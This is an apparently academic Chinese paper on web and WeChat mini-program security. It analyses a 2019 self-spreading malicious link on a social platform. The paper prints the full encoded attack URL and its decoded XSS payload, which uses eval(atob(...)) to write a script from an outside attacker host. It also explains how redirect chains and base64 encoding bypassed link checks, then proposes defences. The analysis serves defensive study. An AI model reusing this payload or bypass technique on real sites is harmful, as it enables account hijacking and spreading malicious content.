查 杭,冷雪輝
(南昌工程學院瑤湖學院,江西 南昌 330000)
隨著信息時代的發展,人們的各種資料基本實現信息化和網絡化,但隨之帶來的安全問題越來越嚴峻。WEB應用程序在生活中應用非常廣泛,XSS漏洞是WEB應用程序中最常見的漏洞。當WEB應用程序應用于金融、社交等要求保密性極高的場所時,敏感數據一旦泄露,產生的損失將不可估量。微信小程序是WEB應用程序的另一種表現,隨著微信用戶的增加,其應用范圍越來越廣,因此微信小程序的安全問題受到了越來越多的關注。
2019年6月,社交空間中發生了一起好友紛紛發帶有惡意鏈接的說說事件,本文通過對鏈接的分析,分析XSS攻擊如何繞開安全機制的檢測成功攻擊用戶,并提出可行的解決方案,不僅能提高用戶對于莫名鏈接的進一步認識,也能將其應用于微信小程序信息安全管理中。
在網絡通信中,目前主要的通信方式有TCP和UDP兩種。其中,日常生活中接觸最廣泛的是TCP通信,包括通過瀏覽器或相應的應用程序請求超文本標記網頁,或在網頁內或應用程序中使用套接字直接向服務器中請求數據。這些請求的過程大都可以看作使用TCP協議的傳輸過程。在微信小程序的設計中,考慮到微信小程序客戶端與服務器端之間的通信問題,微信小程序的官方社區提供了WebSocket和HTTP兩種網絡請求方式。其中,WebSocket屬于持久連接,只需建立一次連接請求,在連接關閉前都可以通過該連接進行數據交互;HTTP則屬于一次連接,即發起連接請求后,客戶端會對服務端進行一次request,并攜帶相應的請求信息,服務器對request進行響應,并對請求信息進行處理,返回response,連接結束[1]。
對于上面兩種連接方式的應用,前者可以應用在客戶端與服務器消息傳遞頻率較為頻繁的情況下,如在線聊天室等。因為客戶端與服務器進行長連接,當兩者之間的數據交互頻率較低時,連接的保持會消耗客戶端和服務器端的端口、網絡帶寬及內存等資源。在大部分應用場景中,如購物、看新聞等,對數據的刷新周期一般以分鐘記。若在一分鐘內只做一次請求,那么WebSocket形式的長連接顯然不適用。所以,這種情況下主要采用HTTP協議對服務器的數據進行請求。
對于一般的微信小程序開發來說,客戶端的網絡請求一般發生在頁面加載和數據變更時,即:小程序框架解析并渲染頁面,需要從服務器中請求數據;在使用微信小程序的過程中,某些地方的數據發生了更改,需要傳遞到服務器中,也需要向服務器發出處理指令。從應用分析來看,對于微信小程序的網絡請求設計方面,以HTTP協議作為主要傳輸形式更合理。
HTTP協 議 有 GET、HEAD、POST、PUT、DELETE、CONNECT、OPTIONS和TRACE8種請求方式。其中,微信小程序用于從服務器端獲取數據和將本地發生的更改上傳至服務器中主要采用GET和PUT兩種方式,且對于HTTP協議,HTTP請求有著固定的格式:

上面的HTTP請求消息包括請求類型、請求目標、客戶端、請求類型及編碼等。因此,微信小程序進行網絡請求時,要先明確請求目標即主機名,之后再向主機發送請求的資源信息[2-3]。
基于HTTP協議,網絡瀏覽器能夠幫助人們以一種簡單的方式訪問互聯網資源。使用瀏覽器訪問目標網站,只需要知道該目標網站的站點主機名稱即可。由瀏覽器通過DNS服務器為查詢該主機地址,并對該主機發送HTTP請求。隨著WEB應用程序等相關技術和產業的不斷發展,網絡請求也從早期的單純對文本或圖像等媒體文件的請求,演變成了很多其他功能性請求。伴隨著它的功能復雜化,網絡請求的資源名稱也愈加復雜。于是,部署在服務器端、作為網站連接請求的預處理先驅CGI的作用開始凸顯?,F在使用瀏覽器訪問網頁時,瀏覽器的請求地址欄可能不再是純粹的文件路徑?,F在大部分網站服務器已經支持站內的路由導航,網站系統也支持通過CGI從網絡請求鏈接中提取隨著request發送的請求數據中的參數變量,這些參數可能是傳遞的信息,也可能是客戶端發送到服務器的特定指令,作為程序執行的相關變量參數[4]。
當前比較主流的WEB應用程序的參數傳遞方式主要有兩種。
(1)直接對網站中的動態網頁進行請求,在目標的資源地址后補充’?’并以{參數名}={值}的形式進行傳遞。網站服務器把相關參數單獨提取解析后,傳遞給請求的動態頁面處理程序。
(2)根據網站服務器的路由配置,使用參數配置路由,且相鄰層級的路由參數用’/’分隔,主要形式為{主機名}/{參數1}/{參數二}。
采用第一種方法以傳遞參數不受服務器路由配置的限制,不限參數數量和參數類型,且此種方法的參數配置發生錯誤時錯誤不會引起路由系統錯誤。但是,該參數的作用模式可以直接作用于動態資源的配置程序,相比于路由參數,其內容在從網絡傳輸層到程序應用層直接缺乏路由系統的初步檢驗,其安全性較第二種參數傳遞方法較低[5]。因此,采用第一種參數傳遞方法服務器在使用該參數之前需要做一次額外檢驗,以保證在該處惡意代碼不會通過參數的傳遞注入到程序框架中。
2019年6月,某社交空間有一則誘導惡意轉發的鏈接。用戶在私人空間中點擊該鏈接會按明文鏈接的順序跳轉3次到新浪微博主頁,同時用戶點擊后,用戶空間會在不提醒用戶的情況下自動轉發該內容。其他用戶通過其私人空間的點擊和轉發,使得這個注入攻擊迅速擴散。為了避免類似的事情發生在更多網站項目中,本文將對這個惡意注入實例對HTTP網頁鏈接的安全性進行討論,并提出相應的解決或預防方案尤為必要。
首先,獲取該惡意鏈接:
http://open.qzone.qq.com/url_check?url=https%3A%2F%2Fweibo.cn%2Fsinaurl%3F_wv%3D1027%2 6cmd%3Dplay%26u%3Dhttp%253A%252F%252Fct.epro.sogou.com%252Fct%253Fid%253D1025611%2 526h%253D333%2526w%253D33336%2526fv%253 D32%2526if%253D16%2526sohuurl%253Dhttps%2 5253A%25252F%25252Fnews.china.com%25252Ft_we1561734359ZWl0ZQ.html%2526bs%253D1423%25 2C794%252522%257D%257D%25250a%253Beval%2 528atob%2528%252522ZG9jdW1lbnQud3JpdGUoIjxz Y3JpcHQgc3JjPSdodHRwOi8vbS5qcXVlcnkua2ltOjgwO-TAvd2ViL2lmLnBocD8xMjMnPjwvc2NyaXB0PiIp%252522%2529%2529%253B%25250aif%2528O%2 529%257Bif%2528B%2529%257B%2525221%2526t mp_cdif%253D0%2526mi%253D0%2526m%253DMT U1OTQwMzcwMV9wcmV0dHkgZG9nXzEwMjU2MTEA%2526ex%253D%2526glx%253D0%2526r%253D1561 734359%2526business%253D%2523123&cmd=play&_wv=2098179#123
由鏈接形式可以看出,鏈接中含有大量的%xx格式的代碼。該代碼為URL編碼,將其轉化為Unicode得到:
http://open.qzone.qq.com/url_check?url=https://weibo.cn/sinaurl?_wv=1027&cmd=play&u=http://ct.epro.sogou.com/ct?id=1025611&h=333&w=3333 6&fv=32&if=16&sohuurl=https://news.china.com/t_we1561734359ZWl0ZQ.html&bs=1423,794"}};eval(ato b("ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodH RwOi8vbS5qcXVlcnkua2ltOjgwOTAvd2ViL2lmLnBocD 8xMjMnPjwvc2NyaXB0PiIp"));if(O){if(B){"1&tmp_cdif=0&mi=0&m=MTU1OTQwMzcwMV9wcmV0dHkgZG9n XzEwMjU2MTEA&ex=&glx=0&r=1561734359&busine ss=#123&cmd=play&_wv=2098179#123”
對該鏈接逐層級分析。首先,鏈接最底層是http://one.qq.com/url_check,這是QQ空間的外鏈校驗域,后面攜帶參數URL,其值為:
https://weibo.cn/sinaurl?_wv=1027&cmd=play&u=http://ct.epro.sogou.com/ct
該鏈接打開后能夠跳轉到URL參數值指向的鏈接中,因此第二階跳轉到:
https://weibo.cn/sinaurl
該鏈接仍為跳轉鏈接,其跳轉目標為參數u的值,即:
http://ct.epro.sogou.com/ct?id=1025611&h=333&w=33336&fv=32&if=16&sohuurl=https://news.china.com/t_we1561734359ZWl0ZQ.html&bs=1423,794"}};eval(at ob("ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdod HRwOi8vbS5qcXVlcnkua2ltOjgwO-TAvd2ViL2lmLnBo cD8xMjMnPjwvc2NyaXB0PiIp"));
該鏈接為搜狗推廣的鏈接,也是最后一級的跳轉鏈接。從該鏈接中可以提取到參數id、h、w、fv、if、sohuurl和bs。根據在搜狗廣告推廣界面的一般規律,可以得到這些參數為廣告推廣的相關信息,內容也沒有問題,且原鏈接在最后一個參數的底端使用兩個“}}”做了數據閉合,因此惡意代碼注入發生在分號后面的eval(atob("ZG9jdW1lbnQud3J pdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vbS5qcXVlcnk ua2ltOjgwOTAvd2ViL2lmLnBocD8xMjMnPjwvc2NyaX B0PiIp"))。
根據W3C的定義,atob()函數的作用在于將base64編碼的字符串還原;eval()提供了一個接口,使得鏈接中的腳本可以被解釋執行,甚至可以通過URL執行頁面中的腳本程序。按照這個思路,需要將字符串“ZG9…”進行解密,解密結果為:
“document.write("<script src='http://m.jquery.kim:8090/web/if.php?123'></script>")”
這行代碼的意思是在當前頁面中寫入一個來自“http://m.jquery.kim:8090/web/if.php?123”的腳本。從這里看此處是一個典型的XSS跨域攻擊。先是在開放平臺中利用URL函數逃過了BO檢查,向頁面中寫入了一個外源腳本,接著外源腳本產生作用。由于用戶主要使用該社交空間旗下的瀏覽器訪問該社交空間,外源的跨域腳本公式利用其CSRF漏洞對用戶的社交空間產生相關作用,在此漏洞下,攻擊者利用其進行惡意轉發。
該攻擊的核心原理可以簡述如下:
(1)攻擊者利用base64編碼隱藏敏感信息,且將帶有攻擊行為的鏈接制作成層層跳轉的形式,以繞過相關安全機制的檢測。
(2)攻擊者注入代碼的鏈接能夠在某些平臺上成功執行,且執行后該平臺未主動監測惡意腳本來源,使得該XSS攻擊在用戶本地生效而攻擊成功。
(3)該社交空間在瀏覽器和WEB應用程序中的交互可能存在漏洞,使得攻擊者可以利用WEB應用程序對軟件的信任成功執行CSRF攻擊。
在微信小程序開發過程中也會遇到相關問題。由于微信小程序去除了外源的腳本引用,使得其在本地更加安全。但是,微信小程序的數據來源于運行在云端的遠程服務器,而遠程服務器與微信小程序的信息通信主要通過HTTP的數據請求實現,因此存在XSS攻擊的可能。
一般情況下,微信小程序向服務器端發送的請求主要為GET和PUT。通過前者,服務器可以根據小程序傳遞的相關參數解析參數,并返回相應的結果。對于后者,微信小程序向服務器發送內容更新指令,服務器解析指令參數,執行相應的操作,并返回相應的結果。根據其作用方式的特點,可以總結其攻擊方式如下。
對于GET請求,攻擊者可以篡改request中的內容,使之傳遞到服務器后,在服務器處理參數的過程中造成程序出錯或使得服務器返回錯誤的結果。同時,在response的過程中,攻擊者也可以向其中注入惡意代碼,引起客戶端的數據處理模塊出錯或產生錯誤結果,甚至可能引起惡意指令對個人信息安全造成影響。
對于PUT請求,由于傳遞的參數中有更多的指令元素,攻擊者通過直接的錯誤信息注入,可能使得服務器處理程序直接崩潰,甚至影響整個系統的后端數據安全。
所以,在微信小程序中對XSS攻擊進行探討和防范特別重要。
對于以上分析的幾點問題,提出如下解決方案:
(1)在整個通信過程中采用嚴格的鑒權通信模式,即使用預定的SECRETKEY對原文進行數字簽名,服務器端校驗數字簽名后開始正式通信。
(2)將通信內容進行對稱加密,配合鑒權機制,不僅能夠保證數據可靠,也能保證數據在傳輸過程中的安全系數。
(3)服務器和客戶端對傳遞的消息進行檢驗,確保沒有非法的腳本或者惡意指令的注入。
隨著WEB應用程序的發展,它的應用愈加廣泛。WEB應用程序的安全問題對于WEB應用程序開發者來說顯得愈加重要。維護網絡安全是每個人的責任,在防范可能發生的危險的同時,也要共同維護互聯網的和諧大環境,為網絡凈化貢獻力量。
作為開發者,應該以數據安全為中心。在設計和開發數據接口時應該考慮全面,在模擬測試階段就應該確保數據能夠絕對安全。同時,開發者應時刻關注目前網絡上流行的攻擊方式,并時常檢查應用軟件可能存在的問題并不斷完善。
對于一款高效且實用的微信小程序來說,安全是任何強大功能的前提。設計開發小程序和WEB應用時,必須嚴格按照加密通信方案設計,并且在設計過程中減少對外部程序的依賴,包括URL程序和外置腳本或其他資源。因為有外部的內容可能會為軟件增光添彩,也可能帶來被攻擊的危險。